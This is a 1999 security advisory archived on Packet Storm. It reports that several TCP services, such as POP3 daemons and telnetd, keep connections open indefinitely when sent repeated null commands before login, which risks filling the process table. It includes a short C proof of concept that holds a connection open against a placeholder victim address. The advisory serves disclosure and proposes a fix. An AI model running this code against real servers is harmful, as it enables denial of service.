exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

kki.inactive.connections.txt

kki.inactive.connections.txt
Posted Aug 17, 1999

KKIS.28041999.002.b Security Advisory describes a common vulnerability with a wide variety of software applications that utilize tcp connections and do not properly close connections within a reasonable, secure time frame. Exploit code included to test for "inactive connection" vulnerabilities. KKI Security Team

tags | exploit, tcp, vulnerability
SHA-256 | 9a8c098e306bcc5628b1d35272ddab934481419144fdc4fcbe006f17c442fb4c

kki.inactive.connections.txt

Change Mirror Download
Date: Wed, 28 Apr 1999 13:59:28 +0200
From: Lukasz Luzar <lluzar@SECURITY.KKI.PL>
To: BUGTRAQ@netspace.org
Subject: KKIS.28041999.002.b

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

### ### ### ### ###
### ### ### ### ###
###### ###### ###
### ### ### ### ###
### ### ### ### ###

S E C U R I T Y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Contacts ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
KKI Security Team Cracow Commercial Internet
http://www.security.kki.pl http://www.kki.pl
mailto:security@security.kki.pl mailto:biuro@kki.pl

~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Raport title : Flaws in implementations of mechanisms which
prevents from maintaining the parasitize connections
in many tcp network services.
Problem found by : Lukasz Luzar (lluzar@security.kki.pl)
Raport created by : Robert Pajak (shadow@security.kki.pl)
Lukasz Luzar (lluzar@security.kki.pl)
Raport published : 28 April 1999
Raport code : KKIS.28041999.002.b
Vulnerable programs : qpopper, in.pop3, cucipop, telnetd, ...
Systems affected : Linux, FreeBSD, Solaris, ...
Archive : http://www.security.kki.pl/advisories/
Risk level : low

~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Description ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The designers of many popular network services are trying to make the
mechanisms which should prevents from maintaining the parasitize connections
to their programs.
The exercise of such protection is timeout, which closes inactive
connections.
But some of those designers forgets that some malicious guys may often
and fraquently send strings full of bad or null commands to the open port
of the service. Such situation might happen before login/password
authentication of the connection.
Those programmers should implement additional mechanisms to prevent such
situations. Good solution is to put counter of bad (or null) commands
inside the program.

For example, the similiar mechanism has been applied in sendmail.
This soluition is effective and very easy to implement.

Lack of this mechanism may be quite threateing, because most of that tcp
services are working with root privilages, and the bounds of amount of root
proceses isn't easy, when the service has no internal bound.
That affects whole system, when proccess table is fulfiled for
example by multiply open connections to the vulnerable tcp service.

Worst situation is, when vulnerable service doesn't logs any information
about connection before authentication with login/password.
One of this most vulnerable services is cucipop.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Impact ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Below example shows how to open and maintain the connection,
which might state open by undefined time.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Example ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--- CUT HERE ---
/*
* example.c by Lukasz Luzar (lluzar@security.kki.pl)
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* victim's address and port of service */
#define ADDR "10.0.0.1" //IP in dot natation
#define PORT 110 //e.g. some pop3
#define DELAY 4 //(4 secs.) how often we are sending bad commands
#define COMMAND "\n" //some bad (or null) command

void main()
{
int sockfd,
j,k;
struct sockaddr_in victim_addr;

bzero((char *) &victim_addr, sizeof( victim_addr));

victim_addr.sin_family = AF_INET;
victim_addr.sin_addr.s_addr = inet_addr( ADDR);
victim_addr.sin_port = htons( PORT);

if(( sockfd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
fprintf( stderr, "socket error\n");

if( connect( sockfd,(struct sockaddr*) &victim_addr,
sizeof( victim_addr)) < 0)
fprintf( stderr,"connect error\n");

k = 1;
if( setsockopt( sockfd,IPPROTO_TCP,TCP_NODELAY,&k,sizeof( k)) != 0)
fprintf( stderr,"setsockopt error\n");

j = strlen( COMMAND);

for(;;) {
if( write( sockfd,COMMAND,j) == -1)
fprintf( stderr,"write error\n");
fprintf( stderr,".");
sleep( DELAY);
}

}
--- CUT HERE ---

~~~~~~~~~~~~~~~~~~~~~~~~~[ Copyright statement ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright (c) 1999 KKI Security Team, Poland
All rights reserved.

All questions please address to mailto:security@security.kki.pl
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close